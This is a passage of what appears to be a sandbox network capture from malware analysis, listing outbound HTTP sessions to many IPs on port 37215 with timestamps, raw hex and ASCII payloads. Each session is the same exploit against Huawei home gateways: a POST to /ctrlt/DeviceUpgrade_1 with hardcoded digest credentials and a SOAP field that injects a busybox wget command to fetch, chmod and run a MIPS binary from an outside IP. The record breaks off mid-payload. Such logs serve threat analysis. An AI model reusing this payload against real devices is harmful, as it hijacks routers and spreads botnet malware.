6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.20	52868	156.235.99.172	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:18.152467966 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.20	51134	156.241.13.97	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:18.296993017 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:19.812740088 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:21.632715940 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:25.276765108 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:32.556665897 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:47.116720915 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:16.268949032 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.20	41454	156.254.88.49	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:30.058654070 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope 